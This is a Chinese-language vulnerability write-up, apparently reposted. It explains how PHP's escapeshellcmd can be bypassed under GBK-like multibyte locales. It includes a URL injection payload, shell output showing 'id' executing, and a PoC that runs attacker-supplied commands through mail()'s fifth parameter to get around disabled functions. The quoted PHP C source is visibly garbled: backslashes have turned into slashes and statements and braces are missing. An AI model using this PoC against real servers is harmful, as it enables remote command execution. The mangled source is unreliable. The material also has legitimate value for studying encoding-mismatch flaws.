天天看點

php escapeshellcmd多位元組編碼漏洞解析及延伸

 建立時間:2008-05-07

文章屬性:原創

    PHP 5 <= 5.2.5

    PHP 4 <= 4.4.8

    一些允許如GBK,EUC-KR, SJIS等寬位元組字元集的系統都可能受此影響,影響還是非常大的,國内的虛拟主機應該是通殺的,在測試完這個漏洞之後,發現還是十分有意思的,以前也有過對這種類型安全漏洞的研究,于是就把相關的漏洞解釋和一些自己的想法都寫出來,也希望國内的一些有漏洞的平台能迅速做出響應,修補漏洞。

    這個漏洞出在php的用來轉義指令行字元串的函數上,這些函數底層是用的php_escape_shell_cmd這個函數的,我們先來看看他的處理過程:

/* {{{ php_escape_shell_cmd

   Escape all chars that could possibly be used to

   break out of a shell command

   This function emalloc's a string and returns the pointer.

   Remember to efree it when done with it.

   *NOT* safe for binary strings

*/  

char *php_escape_shell_cmd(char *str) {

    register int x, y, l;

    char *cmd;

    char *p = NULL;

    l = strlen(str);

    cmd = safe_emalloc(2, l, 1);

    for (x = 0, y = 0; x < l; x++) {

        switch (str[x]) {

            case '"':

            case '/'':

#ifndef PHP_WIN32

                if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {

                    /* noop */

                } else if (p && *p == str[x]) {

                    p = NULL;

                } else {

                    cmd[y++] = '//';

                }

                cmd[y++] = str[x];

                break;

#endif

            case '#': /* This is character-set independent */

            case '&':

            case ';':

            case '`':

            case '|':

            case '*':

            case '?':

            case '~':

            case '<':

            case '>':

            case '^':

            case '(':

            case ')':

            case '[':

            case ']':

            case '{':

            case '}':

            case '$':

            case '//':

            case '/x0A': /* excluding these two */

            case '/xFF':

#ifdef PHP_WIN32

            /* since Windows does not allow us to escape these chars, just remove them */

            case '%':

                cmd[y++] = ' ';

                cmd[y++] = '//';

                /* fall-through */

            default:

        }

    }

    cmd[y] = '/0';

    return cmd;

}

/* }}} */

    可以看到,php通過将",',#,&,;.....等等在shell指令行裡有特殊意義的字元都通過在前面加上/變成/"./',/#,/&,/;......來進行轉義,使得使用者的輸入被過濾,來避免産生command injection漏洞。在php看來,隻要過濾了這些字元,送入到system等函數中時,參數就會是安全的,php手冊中給出的利用例子如下:

<?php

$e = escapeshellcmd($userinput);

// here we don't care if $e has spaces

system("echo $e");

$f = escapeshellcmd($filename);

// and here we do, so we use quotes

system("touch /"/tmp/$f/"; ls -l /"/tmp/$f"");

?>

    很明顯,如果沒有經過escapeshellcmd的處理,使用者輸入hello;id的話,最後system執行的會是:

echo hello;id

;在shell裡是分割指令的作用,這樣不僅僅會echo hello,還會執行id這個指令,導緻指令注入漏洞。用escapeshellcmd處理之後指令變成:

echo hello/;id

這樣執行的指令就隻會是echo,其他的都變成echo的參數,很安全。

    事實上是這樣麼?php在處理完參數送入system之後它就什麼都不管了,後面的工作實際上都是由linux來完成的,那麼linux在處理這些參數的時候是怎麼樣的呢?linux在執行指令的時候會有一些的表示工作環境的環境變量,譬如PWD代表目前的工作環境,UID代表了你的身份,BASH代表指令解釋器等等......而在linux系統執行指令的時候,還有一個非常重要的參數,LANG,這個參數決定了linux shell如何處理你的輸入,這樣就可以當你輸入一些中文字元的時候,linux能認識他,不至于出現人與系統之間出現了解上的錯誤。預設情況下,linux的LANG是en_US.UTF-8,UTF-8是一個很安全的字元集,其系列中包含有對自身的校驗,是以不會出現錯誤,會工作良好。一些系統支援多位元組字元集如GBK的時候,這也正是國内的多數情況,你可以設定LANG=zh_CN.GBK,這樣你的輸入都會被當作GBK編碼處理,而GBK是雙位元組的,合法的GBK編碼會被認為是一個字元。

    大家可以看到,在php的處理過程中,它是單位元組處理的,它隻把輸入當作一個位元組流,而在linux設定了GBK字元集的時候,它的處理是雙位元組的,大家的了解很明顯地不一緻。我們查下GBK的字元集範圍為8140-FEFE,首位元組在 81-FE 之間,尾位元組在 40-FE 之間,而一個非常重要的字元/的編碼為5c,在GBK的尾位元組範圍之内,這樣我們考慮一個特殊的輸入:

    0xbf;id

或    0xbf'id

經過php的escapeshellcmd單位元組轉碼之後将會是

    0xbf5c;id

    0xbf5c'id

注意0xbf5c是一個合法的GBK編碼,那麼在linux執行的時候,會認為輸入是

    [0xbfbc];id

很好,後面的id将會被執行。可以做個簡單的實驗,如下:

[loveshell@Loveshell tmp]$ echo 縗

>

?

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GB2312

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK

LANG=zh_CN.GBK

[loveshell@Loveshell tmp]$

其中縗的編碼為0xbf5c,可以看到在不設定LANG為GBK的時候縗是一個非法的gb2312編碼,是以會被認為是兩個字元,是以其中含有的0x5c起作用,被認為指令沒結束。然後我們設定編碼為GBK,縗就會被認為是一個字元來echo了。

那我們如何來證明php的漏洞呢,拿

$e = escapeshellcmd($_GET[c]);

作為例子,正常情況下上面的代碼工作很好,我們送出

exp.php?c=loveshell%bf;id

結果傳回

loveshell?id

我們再來稍微改下上面的代碼

putenv("LANG=zh_CN.GBK");

php的putenv函數用于修改php的運作時的環境變量,上面修改完LANG之後,再送出上面的參數就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

指令被成功執行了,這裡需要自己設定環境變量,當然也可能某些機器已經設定了LANG為GBK,于是一些采用escapeshellcmd過濾輸入的就會出問題了。這裡本質是linux和php對參數的了解不一緻,而php的mail函數在底層還是依靠系統來執行sendmail指令的,并且支援對sendmail指令加參數,不過參數被過濾了,但是利用這裡說到的問題,我們就可以在多位元組編碼機器上bypass過濾。

    mail函數一些代碼片段如下:

......

    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {

        php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.");

        RETURN_FALSE;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",

                              &to, &to_len,

                              &subject, &subject_len,

                              &message, &message_len,

                              &headers, &headers_len,

                              &extra_cmd, &extra_cmd_len

                              ) == FAILURE) {

        return;

    if (force_extra_parameters) {

        extra_cmd = estrdup(force_extra_parameters);

    } else if (extra_cmd) {

        extra_cmd = php_escape_shell_cmd(extra_cmd);

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {

        RETVAL_TRUE;

    } else {

        RETVAL_FALSE;

.....

這裡如果不是安全模式就會允許第五個參數,第五個參數作為extra_cmd經過php_escape_shell_cmd過濾後作為第五個參數送入php_mail函數,在php_mail中片段如下:

    if (extra_cmd != NULL) {

        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);

        strcpy (sendmail_cmd, sendmail_path);

        strcat (sendmail_cmd, " ");

        strcat (sendmail_cmd, extra_cmd);

        sendmail_cmd = sendmail_path;

    sendmail = popen(sendmail_cmd, "wb");

#else

    /* Since popen() doesn't indicate if the internal fork() doesn't work

     * (e.g. the shell can't be executed) we explicitely set it to 0 to be

     * sure we don't catch any older errno value. */

    errno = 0;

    sendmail = popen(sendmail_cmd, "w");

extra_cmd被附着在sendmail路徑後面作為參數了,這裡我們就可以利用這個漏洞來在一些禁止掉system等危險函數的環境下執行指令了,我寫的poc如下:

//php disable function bypass vul

//by Stefan Esser

//poc by Loveshell

mail("[email protected]","","","","xxxx".chr(0xbf).";".$_GET[c]);

可以在支援GBK的機器上運作,其他字元集應該也一樣,稍微修改下也就可以用。至于修補,我想還是盡快更新到新版,或者将mail函數拉入你的黑名單之列。

    這個漏洞的本質是在于處理資料的時候了解不一緻造成的,稍微把以前的一些問題結合起來很容易發現這方面的影子。php與Mysql處理不一緻導緻注射,程式處理和浏覽器處理html不一緻導緻xss,處理xml不一緻導緻xml注射....這裡又看到在linux shell處理上還有不一緻的時候導緻指令注射。可以預料,在perl等其他腳本語言裡,涉及字元集處理的地方一樣會産生這樣的問題。字元集代表了系統是如何對待輸入的資料,字元集不一樣,系統得到的資訊就不一樣,在一些字元集中,隻要/,',|這些特殊字元落在寬位元組第二個位元組範圍之中的時候就會導緻問題,譬如

SJIS

[/x20-/x7e]|[/xa1-/xdf]|([/x81-/x9f]|[/xe0-/xef])([/x40-/x7e]|[/x80-/xfc])

/x40-/x7e就包括了/x5c,導緻問題出現。我們在設計程式在處理與其他層面的程式或者協定打交道的時候就要考慮好這個因素,做好處理的一緻,避免出現問題。再次向Stefan Esser緻,Stefan Esser is my hero! :)